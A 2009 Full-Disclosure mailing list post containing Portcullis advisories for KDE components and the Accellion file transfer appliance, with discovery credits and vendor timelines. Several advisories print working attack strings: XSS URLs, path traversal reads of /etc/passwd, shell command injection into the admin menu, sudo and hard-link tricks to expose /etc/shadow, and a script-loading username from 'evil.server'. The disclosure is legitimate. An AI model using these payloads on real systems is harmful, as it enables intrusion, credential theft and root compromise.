Re: [Full-disclosure] Advisories For Publication



Hello



Please find attached our advisories that were published on our website
last year.



Kind Regards


Advisories

Portcullis Computer Security Ltd


###############################################################
This email originates from the systems of Portcullis
Computer Security Limited, a Private limited company,
registered in England in accordance with the Companies
Act under number 02763799. The registered office
address of Portcullis Computer Security Limited is:
The Grange Barn, Pikes End, Pinner, MIDDX,
United Kingdom, HA5 2EX.
The information in this email is confidential and may be
legally privileged. It is intended solely for the addressee.
Any opinions expressed are those of the individual and
do not represent the opinion of the organisation. Access
to this email by persons other than the intended recipient
is strictly prohibited.
If you are not the intended recipient, any disclosure,
copying, distribution or other action taken or omitted to be
taken in reliance on it, is prohibited and may be unlawful.
When addressed to our clients any opinions or advice
contained in this email is subject to the terms and
conditions expressed in the applicable Portcullis Computer
Security Limited terms of business.
###############################################################

#####################################################################################
This e-mail message has been scanned for Viruses and Content and cleared
by MailMarshal.
#####################################################################################
Portcullis Security Advisory - 09-002


Vulnerable System:

KDE


Vulnerability Title:

Ark Default View Allows JavaScript Injection.


Vulnerability Discovery And Development:

Portcullis Security Testing Services.


Credit For Discovery:

Tim Brown - Portcullis Computer Security Ltd.


Affected systems:

All known versions of KDE; the vulnerability discovered was for version 3.5.7.


Details:

It is possible for an attacker to create an archive containing files of an unknown MIME type such that whilst the files may have a harmless looking extension, attempting to open them will lead to them being rendered using an embedded KHTML instance. When the user tries to open the attachment it will be opened and any included JavaScript will be executed.

Impact:

In the worst case, an attacker may be able to use this to execute malicious code on a visitors computers. Portcullis agree with KDE's assessment that exploitation of these vulnerabilities is unlikely, however we are concerned about the fact that active content may be executed in cases where the user does not expect it.


Exploit:

The proof of concept exploit code is available.


Vendor Status:

10/07/2007 - Vendors sent copy of an initial paper "Kreating HavoK"
12/07/2007 - Trolltech & KDE respond
16/07/2007 - Trolltech issue patch for format string vulnerability (CVE-2007-3388) identified in paper
19/07/2007 - Trolltech provide update on their response
27/07/2007 - Trolltech publish their advisory

Throughout 2007, further discussions are held between Portullis and KDE via IRC but due to work on KDE 4.x no resolutions are forthcoming. Portcullis agree to hold back until such time as KDE can reasonably respond.

20/12/2008 - Due to the extended period of non-disclosure, in late 2008 Portcullis decide to resubmit the problems as a series of advisories
18/02/2009 - Portcullis contact oCERT and KDE asking for help from oCERT to coordinate disclosure
05/03/2009 - oCERT & KDE respond asking for proof of concepts

Portcullis provide proof of concept exploits and discuss the issue in depth with representatives of KDE and oCERT via IRC and email. KDE confirm they have disabled JavaScript within Ark's default view

04/11/2009 - Advisory published. Portcullis would like to thank Richard Moore and David Faure from KDE and Andrea Barisani from oCERT


Copyright:

Copyright � Portcullis Computer Security Limited 2009, All rights reserved worldwide.
Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.


Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
Portcullis Security Advisory - 09-003


Vulnerable System:

KDE


Vulnerability Title:

Form Spoofing In Konqueror Enables KWallet Stored Credential Theft.


Vulnerability Discovery And Development:

Portcullis Security Testing Services.


Credit For Discovery:

Tim Brown - Portcullis Computer Security Ltd.


Affected systems:

All known versions of KDE; the vulnerability discovered was for version 3.5.7.


Details:

It is possible for an attacker to create hidden spoofed forms within a web application such that Konqueror will populate form elements with data held in KWallet and then submit them to an a remote web server in a similar manner to that described in CVE-2006-6077 which affected Firefox.

Whilst it is acknowledged that such an attack requires an attacker to have control of content on a web site trusted by Konqueror, it is arguable that Konqueror should make attempts to check both the source and destination URLs when populating pages and should not populate form elements that will not be displayed to the user.


Impact:

An attacker would be able to use this to retrieve a users credentials from KWallet on a visitors computers.


Exploit:

The proof of concept exploit code is available.


Vendor Status:

10/07/2007 - Vendors sent copy of an initial paper "Kreating HavoK"
12/07/2007 - Trolltech & KDE respond
16/07/2007 - Trolltech issue patch for format string vulnerability (CVE-2007-3388) identified in paper
19/07/2007 - Trolltech provide update on their response
27/07/2007 - Trolltech publish their advisory

Throughout 2007, further discussions are held between Portullis and KDE via IRC but due to work on KDE 4.x no resolutions are forthcoming. Portcullis agree to hold back until such time as KDE can reasonably respond.

20/12/2008 - Due to the extended period of non-disclosure, in late 2008 Portcullis decide to resubmit the problems as a series of advisories
18/02/2009 - Portcullis contact oCERT and KDE asking for help from oCERT to coordinate disclosure
05/03/2009 - oCERT & KDE respond asking for proof of concepts

Portcullis provide proof of concept exploits and discuss the issue in depth with representatives of KDE and oCERT via IRC and email. KDE do not believe this is a significant problem and as such have no plans to resolve it.

04/11/2009 - Advisory published. Portcullis would like to thank Richard Moore and David Faure from KDE and Andrea Barisani from oCERT


Copyright:

Copyright � Portcullis Computer Security Limited 2009, All rights reserved worldwide.
Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.


Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
Portcullis Security Advisory - 09-008


Vulnerable System:

KDE


Vulnerability Title:

Insufficient Input Validation By IO Slaves.


Vulnerability Discovery And Development:

Portcullis Security Testing Services.


Credit For Discovery:

Tim Brown - Portcullis Computer Security Ltd.


Affected systems:

All known versions of KDE; unless otherwise stated, the vulnerabilities concerned were identified in version 3.5.7 and have been confirmed on 4.1.80.


Details:

Whilst investigating how KDE handles custom protocols, it was discovered that a number of the protocol handlers (referred to as IO slaves) did not satisfactorily handle malicious input. It is possible for an attacker to inject JavaScript by manipulating IO slave URI such that the JavaScript from the manipulated request is returned in the response. Example URLs that trigger this behaviour include:

* pydoc:<html><body><script>alert('xss')</script></body></html> - fixed in 3.5.10
* man:<script src="http://server/test.js";> - fixed in 3.5.10
* help:<script>alert('xss')</script>
* info:/dir/<script>alert('xss')</script>
* perldoc:<body onLoad="javascript:alert(1)">

An attacker may also be able to inject JavaScript by manipulating the response to requests made by the "finger://" IO slave such that the JavaScript from the manipulated response is rendered in Konqueror.

Additionally, by manipulating requests to the "help://" IO slave, arbitrary files can be returned from outside of the intended document root. For example:

* help:/../../../../../../../../../../../etc/passwd

Impact:

In the worst case an attacker may be able to use this to execute malicious code on a visitors computer. However, KDE mitigates this risk by attempting to ensure that such URLs cannot be embedded directly into Internet hosted content and a warning will be displayed when the links themselves are accessed. Portcullis agree with KDE's assessment that exploitation of these vulnerabilities is unlikely, however we are concerned about the lack of adequate input validation considering similar issues have resulted in remote code execution on other platforms.


Exploit:

Exploit code is not required.


Vendor Status:

10/07/2007 - Vendors sent copy of an initial paper "Kreating HavoK"
12/07/2007 - Trolltech & KDE respond
16/07/2007 - Trolltech issue patch for format string vulnerability (CVE-2007-3388) identified in paper
19/07/2007 - Trolltech provide update on their response
27/07/2007 - Trolltech publish their advisory

Throughout 2007, further discussions are held between Portullis and KDE via IRC but due to work on KDE 4.x no resolutions are forthcoming. Portcullis agree to hold back until such time as KDE can reasonably respond.

20/12/2008 - Due to the extended period of non-disclosure, in late 2008 Portcullis decide to resubmit the problems as a series of advisories
18/02/2009 - Portcullis contact oCERT and KDE asking for help from oCERT to coordinate disclosure
05/03/2009 - oCERT & KDE respond asking for proof of concepts

Portcullis provide proof of concept exploits and discuss the issue in depth with representatives of KDE and oCERT via IRC and email. KDE confirm that they have fixed the input sanitisation problems and have improved the sandbox that is applied to JavaScript to prevent the XMLHttpRequest object being called by resources not exposed over HTTP or WebDAV to prevent the same origin policy violation.

04/11/2009 - Advisory published. Portcullis would like to thank Richard Moore and David Faure from KDE and Andrea Barisani from oCERT


Copyright:

Copyright � Portcullis Computer Security Limited 2009, All rights reserved worldwide.
Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.


Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
Portcullis Security Advisory - 09-004


Vulnerable System:

KDE


Vulnerability Title:

KMail Attachment Mime Type Spoofing Enables Javascript Injection.


Vulnerability Discovery And Development:

Portcullis Security Testing Services.


Credit For Discovery:

Tim Brown - Portcullis Computer Security Ltd.


Affected systems:

All known versions of KDE; the vulnerability discovered was for version 3.5.7.


Details:

It is possible for an attacker to send an attachment with a spoofed MIME type such that whilst it may have a harmless looking extension such as ".txt", attempting to open the attachment in KMail will lead to it being rendered by the user configured HTML browser. When the reciever tries to open the attachment they will be asked whether they wish to load it into Konqueror. Given the benign extension, they may well click yes, in which case it will be opened and any included JavaScript will be executed. KMail will indicate via the attachments icon that it considers the file to be suitable for rendering in Konqueror.

Note: KMail does not apply any further validation or sanitisation and since attachments are not opened within a sandbox but rather as temporary files from the "file://" IO slave, it is possible to craft an attachment which when opened will lead to arbitrary JavaScript being executed in a trusted context. The "file://" IO slave is trusted to execute across domains.


Impact:

In the worst case an attacker may be able to use this to execute malicious code on a visitors computers. A proof of concept has been created which retrieves the users "/etc/passwd" and sends to a remote web server. Portcullis agree with KDE's assessment that exploitation of these vulnerabilities is unlikely, however we are concerned about the fact that active content may be executed in cases where the user does not expect it.


Exploit:

The proof of concept exploit code is available.


Vendor Status:

10/07/2007 - Vendors sent copy of an initial paper "Kreating HavoK"
12/07/2007 - Trolltech & KDE respond
16/07/2007 - Trolltech issue patch for format string vulnerability (CVE-2007-3388) identified in paper
19/07/2007 - Trolltech provide update on their response
27/07/2007 - Trolltech publish their advisory

Throughout 2007, further discussions are held between Portullis and KDE via IRC but due to work on KDE 4.x no resolutions are forthcoming. Portcullis agree to hold back until such time as KDE can reasonably respond.

20/12/2008 - Due to the extended period of non-disclosure, in late 2008 Portcullis decide to resubmit the problems as a series of advisories
18/02/2009 - Portcullis contact oCERT and KDE asking for help from oCERT to coordinate disclosure
05/03/2009 - oCERT & KDE respond asking for proof of concepts

Portcullis provide proof of concept exploits and discuss the issue in depth with representatives of KDE and oCERT via IRC and email. KDE confirm that have improved the sandbox that is applied to JavaScript to prevent the XMLHttpRequest object being called by resources not exposed over HTTP or WebDAV to prevent the same origin policy violation.

04/11/2009 - Advisory published. Portcullis would like to thank Richard Moore and David Faure from KDE and Andrea Barisani from oCERT


Copyright:

Copyright � Portcullis Computer Security Limited 2009, All rights reserved worldwide.
Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.


Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
Portcullis Security Advisory - 09-009


Vulnerable System:

Accellion Secure File Transfer Appliance


Vulnerability Title:

Accellion Secure File Transfer Command Line Interface Is Vulnerable To Privilege Escalation.


Vulnerability Discovery And Development:

Portcullis Security Testing Services.


Credit For Discovery:

Tim Brown - Portcullis Computer Security Ltd.


Affected systems:

All known versions of Secure File Transfer Appliance; the vulnerability discovered was for version FTA_7_0_259.


Details:

Accellion Secure File Transfer Appliance is an appliance based solution used for receiving and delivering large files. It does this by allowing users to upload and download files via https. It is generally deployed in a DMZ to allow users access from the local network as well as the Internet. It is based on a customised Redhat OS running a web application which provides the user interface.

Logging into the appliance via SSH as the admin user results in a locked down menu shell being run which can be used for administrative purposes. One function it allows is to perform a ping (ICMP echo) request, presumably to debug connectivity issues between the appliance and arbitrary remote hosts. It is possible to pass a value in the host parameter of the ping menu which allows arbitrary commands to be executed as follows:

acsh>> |cp cli cli.old
acsh>> |head -1 cli.old > cli
acsh>> |printf "while (<>) {\n" >> cli
acsh>> |printf "system(\$_)\x3b\n" >> cli # ; is filtered
acsh>> |printf "}\n" >> cli

The "acsh>>" prompt takes an IP address and concatenates it with the "ping" command before executing it. As you can see in the case above, by escaping the command with a "|" it is possible to execute the arbitrary commands necessary to create a new shell wrapper in Perl. Using the "head" command, we extract the first line from cli.old and overwrite the existing "cli" script (preserving the initial permissions on the "cli" binary) with it. Concatenated to this is a simple Perl loop which reads a line from standard input and executes it via system(). In future, instead of being presented with the menu shell the Perl will instead execute allowing the appliance to be explored more fully.

From a normal shell, it was identified that the admin user can run a number of commands as root using sudo. As with the web application, this is intended to allow for the reconfiguration of the appliance but once more it can be leveraged to execute arbitrary commands as the root user or to otherwise compromise the appliance.

Three trivial attacks are outlined below:

1) Using a hard link to "/etc/shadow" combined with the allowed "sudo chmod" of "/home/admin/oldtemp" to get access to the hashes:

sh-2.05b$ ln /etc/shadow /home/admin/oldtemp
sh-2.05b$ sudo /bin/chmod 666 /home/admin/oldtemp

Note: Here we are abusing the fact that anyone can create a hard link to a file they do not own, and that whilst permissions are initially set to be the same as on the parent file, that two hard links to the same file can have distinct permisssions.

2) Using a hard link to "/etc/shadow" combined with the allowed "sudo cp /etc/admin/temp /etc/mail/sendmail.cf":

sh-2.05b$ ln /etc/shadow /home/admin/temp
sh-2.05b$ sudo /bin/cp /home/admin/temp /etc/mail/sendmail.cf

Note: In this case, we take advantage of the fact that "sendmail.cf is world readable and that "cp" will preserve its permissions.

3) Using sudo "/usr/local/bin/admin.pl" as outlined in the web application advisory:

sh-2.05b$ sudo /usr/local/bin/admin.pl ...

Impact:

An attacker may execute malicious code on the target system as the root user.


Exploit:

Exploit code is not required.


Vendor Status:

15/06/2009 - Vendor informed via email
03/07/2009 - Vendor advised thay they released a software update with version 8_0_105
04/11/2009 - Publication


Copyright:

Copyright � Portcullis Computer Security Limited 2009, All rights reserved worldwide.
Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.


Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.Portcullis Security Advisory - 09-010


Vulnerable System:

Accellion Secure File Transfer Appliance


Vulnerability Title:

Accellion Secure File Transfer Web Application Is Vulnerable To Directory Traversal.


Vulnerability Discovery And Development:

Portcullis Security Testing Services.


Credit For Discovery:

Tim Brown - Portcullis Computer Security Ltd.


Affected systems:

All known versions of Secure File Transfer Appliance; the vulnerability discovered was for version FTA_7_0_259.


Details:

Accellion Secure File Transfer Appliance is an appliance based solution used for receiving and delivering large files. It does this by allowing users to upload and download files via https. It is generally deployed in a DMZ to allow users access from the local network as well as the Internet. It is based on a customised Redhat OS running a web application which provides the user interface.

It is possible to pass a value in the template parameter of requests to the user interface web application which causes arbitrary files to be returned from outside of the web root as follows:

https://10.1.1.254/courier/1000@1276123d688676a09e0100b4f54b239c/web_client_user_guide.html?lang=../../../../../etc/passwd

Impact:

An attacker could gain access to arbitrary files.


Exploit:

Exploit code is not required.


Vendor Status:

15/06/2009 - Vendor informed via email
03/07/2009 - Vendor advised thay they released a software update with version 8_0_105
04/11/2009 - Publication

Copyright:

Copyright � Portcullis Computer Security Limited 2009, All rights reserved worldwide.
Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.


Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.Portcullis Security Advisory - 09-011


Vulnerable System:

Accellion Secure File Transfer Appliance


Vulnerability Title:

Multiple Vulnerabilities In The Accellion Secure File Transfer Web Application Allows Remote Compromise As A Root User.


Vulnerability Discovery And Development:

Portcullis Security Testing Services.


Credit For Discovery:

Tim Brown - Portcullis Computer Security Ltd.


Affected systems:

All known versions of Secure File Transfer Appliance; the vulnerability discovered was for version FTA_7_0_259.


Details:

Accellion Secure File Transfer Appliance is an appliance based solution used for receiving and delivering large files. It does this by allowing users to upload and download files via https. It is generally deployed in a DMZ to allow users access from the local network as well as the Internet. It is based on a customised Redhat OS running a web application which provides the user and administrative interfaces. Combining multiple vulnerabilities in the web application allows an attacker to remotely compromise the appliance as the root user:

Firstly, it is possible for an attacker to inject Javascript into the administrative interface of the web application by making requests to log in with a username consisting of HTML. In testing, the string "<script src='http://evil.server/poc.js'></script>" was sent in place of a valid username, resulting in it being injected in to the audit log web page due to a failed login attempt event being generated.

It is also possible for an attacker with administrative access to inject arbitrary commands into the administrative interface of the web application by making requests to set an SNMP community string. When a community string of "public touch /tmp/portcullis" is set, the web application executes the command "touch /tmp/portcullis" in the context of the web server user. Using command injection and the printf command, arbitrary code can be uploaded to the appliance. The PHP source for the application is obfuscated but it is likely that this is due to the parameter containing the community string being passed unmodified to the system() function.

Finally, using sudo, the web application is able to execute the script "/usr/local/bin/admin.pl" as the root user. The purpose of this script is to allow the reconfiguration of the appliance, and to that end, the script has a number of functions. One function of the script is to allow the application to move a file from one arbitrary location to another. Since no validation or sanitisation of the parameters occurs, it can be used to overwrite itself. For example, "/usr/local/bin/admin.pl --file_move --source=/home/admin/evil.pl --dest=/usr/local/bin/admin.pl".


Impact:

By combining the vulnerabilities outlined above, it is possible for an attacker to permanently inject JavaScript which would be executed in the context of an administrator when they review the audit log. The injected JavaScript could manipulate the documentlocation object to extract the unique per session element of the administration URL allowing arbitrary requests to be made using the XMLHttpRequest object. With the unique per session element of the URL, an attacker could make malicious requests to set the appliance's SNMP community string. By replacing the "/usr/local/bin/admin.pl" script, an attacker may then execute malicious code on the target system as the root user.


Exploit:

The proof of concept exploit code is available.


Vendor Status:

15/06/2009 - Vendor informed via email by Portcullis
18/08/2009 - Vendor advised the following:

This bug was reported and announced back on January 12, 2009. It was fixed in patch 7_0_287 tagged on December 12,2008 and released live to our customers on January 12,2009 as part of patch 7_0_296.

18/08/2009 - From Portcullis's discussions with the vendor, it is believed that the previously noted patch was for the Javascript injection and not the subsequent code injection or privilege escalation
05/11/2009 - Publication


Copyright:

Copyright � Portcullis Computer Security Limited 2009, All rights reserved worldwide.
Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.


Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Relevant Pages

  • [Full-disclosure] Advisory
    ... Portcullis Computer Security Ltd ... The destination address on the encapsulated IP packet is the address of the Firewall management server. ... 11/09/2008 - Vendor informed via email. ... Portcullis Security Advisory - 08-010 ...
    (Full-Disclosure)
  • Portcullis Security Advisory 05-004
    ... Source Code Disclosure ... Vulnerability discovery and development: ... It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited. ...
    (Bugtraq)
  • [Full-disclosure] Advisory
    ... Please find attached an advisory from Portcullis Computer Security Ltd. ... Re-introduction of Cross-site Scripting/Cookie Theft Vulnerability. ... Previous vendor Information: ...
    (Full-Disclosure)